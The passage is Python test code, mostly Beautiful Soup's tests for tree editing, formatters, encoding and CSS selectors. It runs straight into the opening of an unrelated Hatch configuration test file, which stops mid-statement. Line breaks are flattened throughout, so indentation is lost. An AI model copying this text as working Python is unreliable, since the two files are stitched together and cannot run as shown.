self.assertEqual( soup.decode(), self.document_for( "<a><b>Find</b><magictag>the</magictag><c>lady!</c><d></d></a>")) # Make sure all the relationships are hooked up correctly. b_tag = soup.b self.assertEqual(b_tag.next_sibling, magic_tag) self.assertEqual(magic_tag.previous_sibling, b_tag) find = b_tag.find(text="Find") self.assertEqual(find.next_element, magic_tag) self.assertEqual(magic_tag.previous_element, find) c_tag = soup.c self.assertEqual(magic_tag.next_sibling, c_tag) self.assertEqual(c_tag.previous_sibling, magic_tag) the = magic_tag.find(text="the") self.assertEqual(the.parent, magic_tag) self.assertEqual(the.next_element, c_tag) self.assertEqual(c_tag.previous_element, the) def test_append_child_thats_already_at_the_end(self): data = "<a><b></b></a>" soup = self.soup(data) soup.a.append(soup.b) self.assertEqual(data, soup.decode()) def test_move_tag_to_beginning_of_parent(self): data = "<a><b></b><c></c><d></d></a>" soup = self.soup(data) soup.a.insert(0, soup.d) self.assertEqual("<a><d></d><b></b><c></c></a>", soup.decode()) def test_insert_works_on_empty_element_tag(self): # This is a little strange, since most HTML parsers don't allow # markup like this to come through. But in general, we don't # know what the parser would or wouldn't have allowed, so # I'm letting this succeed for now. soup = self.soup("<br/>") soup.br.insert(1, "Contents") self.assertEqual(str(soup.br), "<br>Contents</br>") def test_insert_before(self): soup = self.soup("<a>foo</a><b>bar</b>") soup.b.insert_before("BAZ") soup.a.insert_before("QUUX") self.assertEqual( soup.decode(), self.document_for("QUUX<a>foo</a>BAZ<b>bar</b>")) soup.a.insert_before(soup.b) self.assertEqual( soup.decode(), self.document_for("QUUX<b>bar</b><a>foo</a>BAZ")) def test_insert_after(self): soup = self.soup("<a>foo</a><b>bar</b>") soup.b.insert_after("BAZ") soup.a.insert_after("QUUX") self.assertEqual( soup.decode(), self.document_for("<a>foo</a>QUUX<b>bar</b>BAZ")) soup.b.insert_after(soup.a) self.assertEqual( soup.decode(), self.document_for("QUUX<b>bar</b><a>foo</a>BAZ")) def test_insert_after_raises_exception_if_after_has_no_meaning(self): soup = self.soup("") tag = soup.new_tag("a") string = soup.new_string("") self.assertRaises(ValueError, string.insert_after, tag) self.assertRaises(NotImplementedError, soup.insert_after, tag) self.assertRaises(ValueError, tag.insert_after, tag) def test_insert_before_raises_notimplementederror_if_before_has_no_meaning(self): soup = self.soup("") tag = soup.new_tag("a") string = soup.new_string("") self.assertRaises(ValueError, string.insert_before, tag) self.assertRaises(NotImplementedError, soup.insert_before, tag) self.assertRaises(ValueError, tag.insert_before, tag) def test_replace_with(self): soup = self.soup( "<p>There's <b>no</b> business like <b>show</b> business</p>") no, show = soup.find_all('b') show.replace_with(no) self.assertEqual( soup.decode(), self.document_for( "<p>There's business like <b>no</b> business</p>")) self.assertEqual(show.parent, None) self.assertEqual(no.parent, soup.p) self.assertEqual(no.next_element, "no") self.assertEqual(no.next_sibling, " business") def test_replace_first_child(self): data = "<a><b></b><c></c></a>" soup = self.soup(data) soup.b.replace_with(soup.c) self.assertEqual("<a><c></c></a>", soup.decode()) def test_replace_last_child(self): data = "<a><b></b><c></c></a>" soup = self.soup(data) soup.c.replace_with(soup.b) self.assertEqual("<a><b></b></a>", soup.decode()) def test_nested_tag_replace_with(self): soup = self.soup( """<a>We<b>reserve<c>the</c><d>right</d></b></a><e>to<f>refuse</f><g>service</g></e>""") # Replace the entire <b> tag and its contents ("reserve the # right") with the <f> tag ("refuse"). remove_tag = soup.b move_tag = soup.f remove_tag.replace_with(move_tag) self.assertEqual( soup.decode(), self.document_for( "<a>We<f>refuse</f></a><e>to<g>service</g></e>")) # The <b> tag is now an orphan. self.assertEqual(remove_tag.parent, None) self.assertEqual(remove_tag.find(text="right").next_element, None) self.assertEqual(remove_tag.previous_element, None) self.assertEqual(remove_tag.next_sibling, None) self.assertEqual(remove_tag.previous_sibling, None) # The <f> tag is now connected to the <a> tag. self.assertEqual(move_tag.parent, soup.a) self.assertEqual(move_tag.previous_element, "We") self.assertEqual(move_tag.next_element.next_element, soup.e) self.assertEqual(move_tag.next_sibling, None) # The gap where the <f> tag used to be has been mended, and # the word "to" is now connected to the <g> tag. to_text = soup.find(text="to") g_tag = soup.g self.assertEqual(to_text.next_element, g_tag) self.assertEqual(to_text.next_sibling, g_tag) self.assertEqual(g_tag.previous_element, to_text) self.assertEqual(g_tag.previous_sibling, to_text) def test_unwrap(self): tree = self.soup(""" <p>Unneeded <em>formatting</em> is unneeded</p> """) tree.em.unwrap() self.assertEqual(tree.em, None) self.assertEqual(tree.p.text, "Unneeded formatting is unneeded") def test_wrap(self): soup = self.soup("I wish I was bold.") value = soup.string.wrap(soup.new_tag("b")) self.assertEqual(value.decode(), "<b>I wish I was bold.</b>") self.assertEqual( soup.decode(), self.document_for("<b>I wish I was bold.</b>")) def test_wrap_extracts_tag_from_elsewhere(self): soup = self.soup("<b></b>I wish I was bold.") soup.b.next_sibling.wrap(soup.b) self.assertEqual( soup.decode(), self.document_for("<b>I wish I was bold.</b>")) def test_wrap_puts_new_contents_at_the_end(self): soup = self.soup("<b>I like being bold.</b>I wish I was bold.") soup.b.next_sibling.wrap(soup.b) self.assertEqual(2, len(soup.b.contents)) self.assertEqual( soup.decode(), self.document_for( "<b>I like being bold.I wish I was bold.</b>")) def test_extract(self): soup = self.soup( '<html><body>Some content. <div id="nav">Nav crap</div> More content.</body></html>') self.assertEqual(len(soup.body.contents), 3) extracted = soup.find(id="nav").extract() self.assertEqual( soup.decode(), "<html><body>Some content. More content.</body></html>") self.assertEqual(extracted.decode(), '<div id="nav">Nav crap</div>') # The extracted tag is now an orphan. self.assertEqual(len(soup.body.contents), 2) self.assertEqual(extracted.parent, None) self.assertEqual(extracted.previous_element, None) self.assertEqual(extracted.next_element.next_element, None) # The gap where the extracted tag used to be has been mended. content_1 = soup.find(text="Some content. ") content_2 = soup.find(text=" More content.") self.assertEqual(content_1.next_element, content_2) self.assertEqual(content_1.next_sibling, content_2) self.assertEqual(content_2.previous_element, content_1) self.assertEqual(content_2.previous_sibling, content_1) def test_extract_distinguishes_between_identical_strings(self): soup = self.soup("<a>foo</a><b>bar</b>") foo_1 = soup.a.string bar_1 = soup.b.string foo_2 = soup.new_string("foo") bar_2 = soup.new_string("bar") soup.a.append(foo_2) soup.b.append(bar_2) # Now there are two identical strings in the <a> tag, and two # in the <b> tag. Let's remove the first "foo" and the second # "bar". foo_1.extract() bar_2.extract() self.assertEqual(foo_2, soup.a.string) self.assertEqual(bar_2, soup.b.string) def test_clear(self): """Tag.clear()""" soup = self.soup("<p><a>String <em>Italicized</em></a> and another</p>") # clear using extract() a = soup.a soup.p.clear() self.assertEqual(len(soup.p.contents), 0) self.assertTrue(hasattr(a, "contents")) # clear using decompose() em = a.em a.clear(decompose=True) self.assertFalse(hasattr(em, "contents")) def test_string_set(self): """Tag.string = 'string'""" soup = self.soup("<a></a> <b><c></c></b>") soup.a.string = "foo" self.assertEqual(soup.a.contents, ["foo"]) soup.b.string = "bar" self.assertEqual(soup.b.contents, ["bar"]) def test_string_set_does_not_affect_original_string(self): soup = self.soup("<a><b>foo</b><c>bar</c>") soup.b.string = soup.c.string self.assertEqual(soup.a.encode(), b"<a><b>bar</b><c>bar</c></a>") def test_set_string_preserves_class_of_string(self): soup = self.soup("<a></a>") cdata = CData("foo") soup.a.string = cdata self.assertTrue(isinstance(soup.a.string, CData)) class TestElementObjects(SoupTest): """Test various features of element objects.""" def test_len(self): """The length of an element is its number of children.""" soup = self.soup("<top>1<b>2</b>3</top>") # The BeautifulSoup object itself contains one element: the # <top> tag. self.assertEqual(len(soup.contents), 1) self.assertEqual(len(soup), 1) # The <top> tag contains three elements: the text node "1", the # <b> tag, and the text node "3". self.assertEqual(len(soup.top), 3) self.assertEqual(len(soup.top.contents), 3) def test_member_access_invokes_find(self): """Accessing a Python member .foo invokes find('foo')""" soup = self.soup('<b><i></i></b>') self.assertEqual(soup.b, soup.find('b')) self.assertEqual(soup.b.i, soup.find('b').find('i')) self.assertEqual(soup.a, None) def test_deprecated_member_access(self): soup = self.soup('<b><i></i></b>') with warnings.catch_warnings(record=True) as w: tag = soup.bTag self.assertEqual(soup.b, tag) self.assertEqual( '.bTag is deprecated, use .find("b") instead.', str(w[0].message)) def test_has_attr(self): """has_attr() checks for the presence of an attribute. Please note note: has_attr() is different from __in__. has_attr() checks the tag's attributes and __in__ checks the tag's chidlren. """ soup = self.soup("<foo attr='bar'>") self.assertTrue(soup.foo.has_attr('attr')) self.assertFalse(soup.foo.has_attr('attr2')) def test_attributes_come_out_in_alphabetical_order(self): markup = '<b a="1" z="5" m="3" f="2" y="4"></b>' self.assertSoupEquals(markup, '<b a="1" f="2" m="3" y="4" z="5"></b>') def test_string(self): # A tag that contains only a text node makes that node # available as .string. soup = self.soup("<b>foo</b>") self.assertEqual(soup.b.string, 'foo') def test_empty_tag_has_no_string(self): # A tag with no children has no .stirng. soup = self.soup("<b></b>") self.assertEqual(soup.b.string, None) def test_tag_with_multiple_children_has_no_string(self): # A tag with no children has no .string. soup = self.soup("<a>foo<b></b><b></b></b>") self.assertEqual(soup.b.string, None) soup = self.soup("<a>foo<b></b>bar</b>") self.assertEqual(soup.b.string, None) # Even if all the children are strings, due to trickery, # it won't work--but this would be a good optimization. soup = self.soup("<a>foo</b>") soup.a.insert(1, "bar") self.assertEqual(soup.a.string, None) def test_tag_with_recursive_string_has_string(self): # A tag with a single child which has a .string inherits that # .string. soup = self.soup("<a><b>foo</b></a>") self.assertEqual(soup.a.string, "foo") self.assertEqual(soup.string, "foo") def test_lack_of_string(self): """Only a tag containing a single text node has a .string.""" soup = self.soup("<b>f<i>e</i>o</b>") self.assertFalse(soup.b.string) soup = self.soup("<b></b>") self.assertFalse(soup.b.string) def test_all_text(self): """Tag.text and Tag.get_text(sep=u"") -> all child text, concatenated""" soup = self.soup("<a>a<b>r</b> <r> t </r></a>") self.assertEqual(soup.a.text, "ar t ") self.assertEqual(soup.a.get_text(strip=True), "art") self.assertEqual(soup.a.get_text(","), "a,r, , t ") self.assertEqual(soup.a.get_text(",", strip=True), "a,r,t") class TestCDAtaListAttributes(SoupTest): """Testing cdata-list attributes like 'class'. """ def test_single_value_becomes_list(self): soup = self.soup("<a class='foo'>") self.assertEqual(["foo"],soup.a['class']) def test_multiple_values_becomes_list(self): soup = self.soup("<a class='foo bar'>") self.assertEqual(["foo", "bar"], soup.a['class']) def test_multiple_values_separated_by_weird_whitespace(self): soup = self.soup("<a class='foo\tbar\nbaz'>") self.assertEqual(["foo", "bar", "baz"],soup.a['class']) def test_attributes_joined_into_string_on_output(self): soup = self.soup("<a class='foo\tbar'>") self.assertEqual(b'<a class="foo bar"></a>', soup.a.encode()) def test_accept_charset(self): soup = self.soup('<form accept-charset="ISO-8859-1 UTF-8">') self.assertEqual(['ISO-8859-1', 'UTF-8'], soup.form['accept-charset']) def test_cdata_attribute_applying_only_to_one_tag(self): data = '<a accept-charset="ISO-8859-1 UTF-8"></a>' soup = self.soup(data) # We saw in another test that accept-charset is a cdata-list # attribute for the <form> tag. But it's not a cdata-list # attribute for any other tag. self.assertEqual('ISO-8859-1 UTF-8', soup.a['accept-charset']) class TestPersistence(SoupTest): "Testing features like pickle and deepcopy." def setUp(self): super(TestPersistence, self).setUp() self.page = """<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Beautiful Soup: We called him Tortoise because he taught us.</title> <link rev="made" href="mailto:leonardr@segfault.org"> <meta name="Description" content="Beautiful Soup: an HTML parser optimized for screen-scraping."> <meta name="generator" content="Markov Approximation 1.4 (module: leonardr)"> <meta name="author" content="Leonard Richardson"> </head> <body> <a href="foo">foo</a> <a href="foo"><b>bar</b></a> </body> </html>""" self.tree = self.soup(self.page) def test_pickle_and_unpickle_identity(self): # Pickling a tree, then unpickling it, yields a tree identical # to the original. dumped = pickle.dumps(self.tree, 2) loaded = pickle.loads(dumped) self.assertEqual(loaded.__class__, BeautifulSoup) self.assertEqual(loaded.decode(), self.tree.decode()) def test_deepcopy_identity(self): # Making a deepcopy of a tree yields an identical tree. copied = copy.deepcopy(self.tree) self.assertEqual(copied.decode(), self.tree.decode()) def test_unicode_pickle(self): # A tree containing Unicode characters can be pickled. html = u"<b>\N{SNOWMAN}</b>" soup = self.soup(html) dumped = pickle.dumps(soup, pickle.HIGHEST_PROTOCOL) loaded = pickle.loads(dumped) self.assertEqual(loaded.decode(), soup.decode()) class TestSubstitutions(SoupTest): def test_default_formatter_is_minimal(self): markup = u"<b>&lt;&lt;Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!&gt;&gt;</b>" soup = self.soup(markup) decoded = soup.decode(formatter="minimal") # The < is converted back into &lt; but the e-with-acute is left alone. self.assertEqual( decoded, self.document_for( u"<b>&lt;&lt;Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!&gt;&gt;</b>")) def test_formatter_html(self): markup = u"<b>&lt;&lt;Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!&gt;&gt;</b>" soup = self.soup(markup) decoded = soup.decode(formatter="html") self.assertEqual( decoded, self.document_for("<b>&lt;&lt;Sacr&eacute; bleu!&gt;&gt;</b>")) def test_formatter_minimal(self): markup = u"<b>&lt;&lt;Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!&gt;&gt;</b>" soup = self.soup(markup) decoded = soup.decode(formatter="minimal") # The < is converted back into &lt; but the e-with-acute is left alone. self.assertEqual( decoded, self.document_for( u"<b>&lt;&lt;Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!&gt;&gt;</b>")) def test_formatter_null(self): markup = u"<b>&lt;&lt;Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!&gt;&gt;</b>" soup = self.soup(markup) decoded = soup.decode(formatter=None) # Neither the angle brackets nor the e-with-acute are converted. # This is not valid HTML, but it's what the user wanted. self.assertEqual(decoded, self.document_for(u"<b><<Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!>></b>")) def test_formatter_custom(self): markup = u"<b>&lt;foo&gt;</b><b>bar</b>" soup = self.soup(markup) decoded = soup.decode(formatter = lambda x: x.upper()) # Instead of normal entity conversion code, the custom # callable is called on every string. self.assertEqual( decoded, self.document_for(u"<b><FOO></b><b>BAR</b>")) def test_formatter_is_run_on_attribute_values(self): markup = u'<a href="http://a.com?a=b&c=é">e</a>' soup = self.soup(markup) a = soup.a expect_minimal = u'<a href="http://a.com?a=b&amp;c=é">e</a>' self.assertEqual(expect_minimal, a.decode()) self.assertEqual(expect_minimal, a.decode(formatter="minimal")) expect_html = u'<a href="http://a.com?a=b&amp;c=&eacute;">e</a>' self.assertEqual(expect_html, a.decode(formatter="html")) self.assertEqual(markup, a.decode(formatter=None)) expect_upper = u'<a href="HTTP://A.COM?A=B&C=É">E</a>' self.assertEqual(expect_upper, a.decode(formatter=lambda x: x.upper())) def test_prettify_accepts_formatter(self): soup = BeautifulSoup("<html><body>foo</body></html>") pretty = soup.prettify(formatter = lambda x: x.upper()) self.assertTrue("FOO" in pretty) def test_prettify_outputs_unicode_by_default(self): soup = self.soup("<a></a>") self.assertEqual(unicode, type(soup.prettify())) def test_prettify_can_encode_data(self): soup = self.soup("<a></a>") self.assertEqual(bytes, type(soup.prettify("utf-8"))) def test_html_entity_substitution_off_by_default(self): markup = u"<b>Sacr\N{LATIN SMALL LETTER E WITH ACUTE} bleu!</b>" soup = self.soup(markup) encoded = soup.b.encode("utf-8") self.assertEqual(encoded, markup.encode('utf-8')) def test_encoding_substitution(self): # Here's the <meta> tag saying that a document is # encoded in Shift-JIS. meta_tag = ('<meta content="text/html; charset=x-sjis" ' 'http-equiv="Content-type"/>') soup = self.soup(meta_tag) # Parse the document, and the charset apprears unchanged. self.assertEqual(soup.meta['content'], 'text/html; charset=x-sjis') # Encode the document into some encoding, and the encoding is # substituted into the meta tag. utf_8 = soup.encode("utf-8") self.assertTrue(b"charset=utf-8" in utf_8) euc_jp = soup.encode("euc_jp") self.assertTrue(b"charset=euc_jp" in euc_jp) shift_jis = soup.encode("shift-jis") self.assertTrue(b"charset=shift-jis" in shift_jis) utf_16_u = soup.encode("utf-16").decode("utf-16") self.assertTrue("charset=utf-16" in utf_16_u) def test_encoding_substitution_doesnt_happen_if_tag_is_strained(self): markup = ('<head><meta content="text/html; charset=x-sjis" ' 'http-equiv="Content-type"/></head><pre>foo</pre>') # Beautiful Soup used to try to rewrite the meta tag even if the # meta tag got filtered out by the strainer. This test makes # sure that doesn't happen. strainer = SoupStrainer('pre') soup = self.soup(markup, parse_only=strainer) self.assertEqual(soup.contents[0].name, 'pre') class TestEncoding(SoupTest): """Test the ability to encode objects into strings.""" def test_unicode_string_can_be_encoded(self): html = u"<b>\N{SNOWMAN}</b>" soup = self.soup(html) self.assertEqual(soup.b.string.encode("utf-8"), u"\N{SNOWMAN}".encode("utf-8")) def test_tag_containing_unicode_string_can_be_encoded(self): html = u"<b>\N{SNOWMAN}</b>" soup = self.soup(html) self.assertEqual( soup.b.encode("utf-8"), html.encode("utf-8")) def test_encoding_substitutes_unrecognized_characters_by_default(self): html = u"<b>\N{SNOWMAN}</b>" soup = self.soup(html) self.assertEqual(soup.b.encode("ascii"), b"<b>&#9731;</b>") def test_encoding_can_be_made_strict(self): html = u"<b>\N{SNOWMAN}</b>" soup = self.soup(html) self.assertRaises( UnicodeEncodeError, soup.encode, "ascii", errors="strict") def test_decode_contents(self): html = u"<b>\N{SNOWMAN}</b>" soup = self.soup(html) self.assertEqual(u"\N{SNOWMAN}", soup.b.decode_contents()) def test_encode_contents(self): html = u"<b>\N{SNOWMAN}</b>" soup = self.soup(html) self.assertEqual( u"\N{SNOWMAN}".encode("utf8"), soup.b.encode_contents( encoding="utf8")) def test_deprecated_renderContents(self): html = u"<b>\N{SNOWMAN}</b>" soup = self.soup(html) self.assertEqual( u"\N{SNOWMAN}".encode("utf8"), soup.b.renderContents()) class TestNavigableStringSubclasses(SoupTest): def test_cdata(self): # None of the current builders turn CDATA sections into CData # objects, but you can create them manually. soup = self.soup("") cdata = CData("foo") soup.insert(1, cdata) self.assertEqual(str(soup), "<![CDATA[foo]]>") self.assertEqual(soup.find(text="foo"), "foo") self.assertEqual(soup.contents[0], "foo") def test_cdata_is_never_formatted(self): """Text inside a CData object is passed into the formatter. But the return value is ignored. """ self.count = 0 def increment(*args): self.count += 1 return "BITTER FAILURE" soup = self.soup("") cdata = CData("<><><>") soup.insert(1, cdata) self.assertEqual( b"<![CDATA[<><><>]]>", soup.encode(formatter=increment)) self.assertEqual(1, self.count) def test_doctype_ends_in_newline(self): # Unlike other NavigableString subclasses, a DOCTYPE always ends # in a newline. doctype = Doctype("foo") soup = self.soup("") soup.insert(1, doctype) self.assertEqual(soup.encode(), b"<!DOCTYPE foo>\n") class TestSoupSelector(TreeTest): HTML = """ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The title</title> <link rel="stylesheet" href="blah.css" type="text/css" id="l1"> </head> <body> <div id="main"> <div id="inner"> <h1 id="header1">An H1</h1> <p>Some text</p> <p class="onep" id="p1">Some more text</p> <h2 id="header2">An H2</h2> <p class="class1 class2 class3" id="pmulti">Another</p> <a href="http://bob.example.org/" rel="friend met" id="bob">Bob</a> <h2 id="header3">Another H2</h2> <a id="me" href="http://simonwillison.net/" rel="me">me</a> <span class="s1"> <a href="#" id="s1a1">span1a1</a> <a href="#" id="s1a2">span1a2 <span id="s1a2s1">test</span></a> <span class="span2"> <a href="#" id="s2a1">span2a1</a> </span> <span class="span3"></span> </span> </div> <p lang="en" id="lang-en">English</p> <p lang="en-gb" id="lang-en-gb">English UK</p> <p lang="en-us" id="lang-en-us">English US</p> <p lang="fr" id="lang-fr">French</p> </div> <div id="footer"> </div> """ def setUp(self): self.soup = BeautifulSoup(self.HTML) def assertSelects(self, selector, expected_ids): el_ids = [el['id'] for el in self.soup.select(selector)] el_ids.sort() expected_ids.sort() self.assertEqual(expected_ids, el_ids, "Selector %s, expected [%s], got [%s]" % ( selector, ', '.join(expected_ids), ', '.join(el_ids) ) ) assertSelect = assertSelects def assertSelectMultiple(self, *tests): for selector, expected_ids in tests: self.assertSelect(selector, expected_ids) def test_one_tag_one(self): els = self.soup.select('title') self.assertEqual(len(els), 1) self.assertEqual(els[0].name, 'title') self.assertEqual(els[0].contents, [u'The title']) def test_one_tag_many(self): els = self.soup.select('div') self.assertEqual(len(els), 3) for div in els: self.assertEqual(div.name, 'div') def test_tag_in_tag_one(self): els = self.soup.select('div div') self.assertSelects('div div', ['inner']) def test_tag_in_tag_many(self): for selector in ('html div', 'html body div', 'body div'): self.assertSelects(selector, ['main', 'inner', 'footer']) def test_tag_no_match(self): self.assertEqual(len(self.soup.select('del')), 0) def test_invalid_tag(self): self.assertEqual(len(self.soup.select('tag%t')), 0) def test_header_tags(self): self.assertSelectMultiple( ('h1', ['header1']), ('h2', ['header2', 'header3']), ) def test_class_one(self): for selector in ('.onep', 'p.onep', 'html p.onep'): els = self.soup.select(selector) self.assertEqual(len(els), 1) self.assertEqual(els[0].name, 'p') self.assertEqual(els[0]['class'], ['onep']) def test_class_mismatched_tag(self): els = self.soup.select('div.onep') self.assertEqual(len(els), 0) def test_one_id(self): for selector in ('div#inner', '#inner', 'div div#inner'): self.assertSelects(selector, ['inner']) def test_bad_id(self): els = self.soup.select('#doesnotexist') self.assertEqual(len(els), 0) def test_items_in_id(self): els = self.soup.select('div#inner p') self.assertEqual(len(els), 3) for el in els: self.assertEqual(el.name, 'p') self.assertEqual(els[1]['class'], ['onep']) self.assertFalse(els[0].has_key('class')) def test_a_bunch_of_emptys(self): for selector in ('div#main del', 'div#main div.oops', 'div div#main'): self.assertEqual(len(self.soup.select(selector)), 0) def test_multi_class_support(self): for selector in ('.class1', 'p.class1', '.class2', 'p.class2', '.class3', 'p.class3', 'html p.class2', 'div#inner .class2'): self.assertSelects(selector, ['pmulti']) def test_multi_class_selection(self): for selector in ('.class1.class3', '.class3.class2', '.class1.class2.class3'): self.assertSelects(selector, ['pmulti']) def test_child_selector(self): self.assertSelects('.s1 > a', ['s1a1', 's1a2']) self.assertSelects('.s1 > a span', ['s1a2s1']) def test_attribute_equals(self): self.assertSelectMultiple( ('p[class="onep"]', ['p1']), ('p[id="p1"]', ['p1']), ('[class="onep"]', ['p1']), ('[id="p1"]', ['p1']), ('link[rel="stylesheet"]', ['l1']), ('link[type="text/css"]', ['l1']), ('link[href="blah.css"]', ['l1']), ('link[href="no-blah.css"]', []), ('[rel="stylesheet"]', ['l1']), ('[type="text/css"]', ['l1']), ('[href="blah.css"]', ['l1']), ('[href="no-blah.css"]', []), ('p[href="no-blah.css"]', []), ('[href="no-blah.css"]', []), ) def test_attribute_tilde(self): self.assertSelectMultiple( ('p[class~="class1"]', ['pmulti']), ('p[class~="class2"]', ['pmulti']), ('p[class~="class3"]', ['pmulti']), ('[class~="class1"]', ['pmulti']), ('[class~="class2"]', ['pmulti']), ('[class~="class3"]', ['pmulti']), ('a[rel~="friend"]', ['bob']), ('a[rel~="met"]', ['bob']), ('[rel~="friend"]', ['bob']), ('[rel~="met"]', ['bob']), ) def test_attribute_startswith(self): self.assertSelectMultiple( ('[rel^="style"]', ['l1']), ('link[rel^="style"]', ['l1']), ('notlink[rel^="notstyle"]', []), ('[rel^="notstyle"]', []), ('link[rel^="notstyle"]', []), ('link[href^="bla"]', ['l1']), ('a[href^="http://"]', ['bob', 'me']), ('[href^="http://"]', ['bob', 'me']), ('[id^="p"]', ['pmulti', 'p1']), ('[id^="m"]', ['me', 'main']), ('div[id^="m"]', ['main']), ('a[id^="m"]', ['me']), ) def test_attribute_endswith(self): self.assertSelectMultiple( ('[href$=".css"]', ['l1']), ('link[href$=".css"]', ['l1']), ('link[id$="1"]', ['l1']), ('[id$="1"]', ['l1', 'p1', 'header1', 's1a1', 's2a1', 's1a2s1']), ('div[id$="1"]', []), ('[id$="noending"]', []), ) def test_attribute_contains(self): self.assertSelectMultiple( # From test_attribute_startswith ('[rel*="style"]', ['l1']), ('link[rel*="style"]', ['l1']), ('notlink[rel*="notstyle"]', []), ('[rel*="notstyle"]', []), ('link[rel*="notstyle"]', []), ('link[href*="bla"]', ['l1']), ('a[href*="http://"]', ['bob', 'me']), ('[href*="http://"]', ['bob', 'me']), ('[id*="p"]', ['pmulti', 'p1']), ('div[id*="m"]', ['main']), ('a[id*="m"]', ['me']), # From test_attribute_endswith ('[href*=".css"]', ['l1']), ('link[href*=".css"]', ['l1']), ('link[id*="1"]', ['l1']), ('[id*="1"]', ['l1', 'p1', 'header1', 's1a1', 's1a2', 's2a1', 's1a2s1']), ('div[id*="1"]', []), ('[id*="noending"]', []), # New for this test ('[href*="."]', ['bob', 'me', 'l1']), ('a[href*="."]', ['bob', 'me']), ('link[href*="."]', ['l1']), ('div[id*="n"]', ['main', 'inner']), ('div[id*="nn"]', ['inner']), ) def test_attribute_exact_or_hypen(self): self.assertSelectMultiple( ('p[lang|="en"]', ['lang-en', 'lang-en-gb', 'lang-en-us']), ('[lang|="en"]', ['lang-en', 'lang-en-gb', 'lang-en-us']), ('p[lang|="fr"]', ['lang-fr']), ('p[lang|="gb"]', []), ) def test_attribute_exists(self): self.assertSelectMultiple( ('[rel]', ['l1', 'bob', 'me']), ('link[rel]', ['l1']), ('a[rel]', ['bob', 'me']), ('[lang]', ['lang-en', 'lang-en-gb', 'lang-en-us', 'lang-fr']), ('p[class]', ['p1', 'pmulti']), ('[blah]', []), ('p[blah]', []), ) def test_select_on_element(self): # Other tests operate on the tree; this operates on an element # within the tree. inner = self.soup.find("div", id="main") selected = inner.select("div") # The <div id="inner"> tag was selected. The <div id="footer"> # tag was not. self.assertSelectsIDs(selected, ['inner'])
codeparrot/github-code-clean
from itertools import product import pytest from hatch.plugin.manager import PluginManager from hatch.project.config import ProjectConfig from hatch.project.env import RESERVED_OPTIONS from hatch.utils.structures import EnvVars from hatch.version.scheme.standard import StandardScheme from hatchling.version.source.regex import RegexSource ARRAY_OPTIONS = [o for o, t in RESERVED_OPTIONS.items() if t is list] BOOLEAN_OPTIONS = [o for o, t in RESERVED_OPTIONS.items() if t is bool] MAPPING_OPTIONS = [o for o, t in RESERVED_OPTIONS.items() if t is dict] STRING_OPTIONS = [o for o, t in RESERVED_OPTIONS.items() if t is str and o != 'matrix-name-format'] def construct_matrix_data(env_name, config, overrides=None): config = dict(config[env_name]) config.pop('overrides', None) matrices = config.pop('matrix') final_matrix_name_format = config.pop('matrix-name-format', '{value}') # [{'version': ['9000']}, {'feature': ['bar']}] envs = {} for matrix in matrices: matrix = dict(matrix) variables = {} python_selected = False for variable in ('py', 'python'): if variable in matrix: python_selected = True variables[variable] = matrix.pop(variable) break variables.update(matrix) for result in product(*variables.values()): variable_values = dict(zip(variables, result)) env_name_parts = [] for j, (variable, value) in enumerate(variable_values.items()): if j == 0 and python_selected: env_name_parts.append(value if value.startswith('py') else f'py{value}') else: env_name_parts.append(final_matrix_name_format.format(variable=variable, value=value)) new_env_name = '-'.join(env_name_parts) if env_name != 'default': new_env_name = f'{env_name}.{new_env_name}' envs[new_env_name] = variable_values config.update(overrides or {}) config.setdefault('type', 'virtual') return {'config': config, 'envs': envs} class TestEnv: def test_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.env` must be a table'): _ = ProjectConfig(isolation, {'env': 9000}).env def test_default(self, isolation): project_config = ProjectConfig(isolation, {}) assert project_config.env == project_config.env == {} class TestEnvCollectors: def test_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.env.collectors` must be a table'): _ = ProjectConfig(isolation, {'env': {'collectors': 9000}}).env_collectors def test_collector_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.env.collectors.foo` must be a table'): _ = ProjectConfig(isolation, {'env': {'collectors': {'foo': 9000}}}).env_collectors def test_default(self, isolation): project_config = ProjectConfig(isolation, {}) assert project_config.env_collectors == project_config.env_collectors == {'default': {}} def test_defined(self, isolation): project_config = ProjectConfig(isolation, {'env': {'collectors': {'foo': {'bar': {'baz': 9000}}}}}) assert project_config.env_collectors == {'default': {}, 'foo': {'bar': {'baz': 9000}}} assert list(project_config.env_collectors) == ['default', 'foo'] class TestEnvs: def test_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs` must be a table'): _ = ProjectConfig(isolation, {'envs': 9000}, PluginManager()).envs def test_config_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo` must be a table'): _ = ProjectConfig(isolation, {'envs': {'foo': 9000}}, PluginManager()).envs def test_unknown_collector(self, isolation): with pytest.raises(ValueError, match='Unknown environment collector: foo'): _ = ProjectConfig(isolation, {'env': {'collectors': {'foo': {}}}}, PluginManager()).envs def test_unknown_template(self, isolation): with pytest.raises( ValueError, match='Field `tool.hatch.envs.foo.template` refers to an unknown environment `bar`' ): _ = ProjectConfig(isolation, {'envs': {'foo': {'template': 'bar'}}}, PluginManager()).envs def test_default_undefined(self, isolation): project_config = ProjectConfig(isolation, {}, PluginManager()) assert project_config.envs == project_config.envs == {'default': {'type': 'virtual'}} assert project_config.matrices == project_config.matrices == {} def test_default_partially_defined(self, isolation): env_config = {'default': {'option': True}} project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) assert project_config.envs == {'default': {'option': True, 'type': 'virtual'}} def test_default_defined(self, isolation): env_config = {'default': {'type': 'foo'}} project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) assert project_config.envs == {'default': {'type': 'foo'}} def test_basic(self, isolation): env_config = {'foo': {'option': True}} project_config = 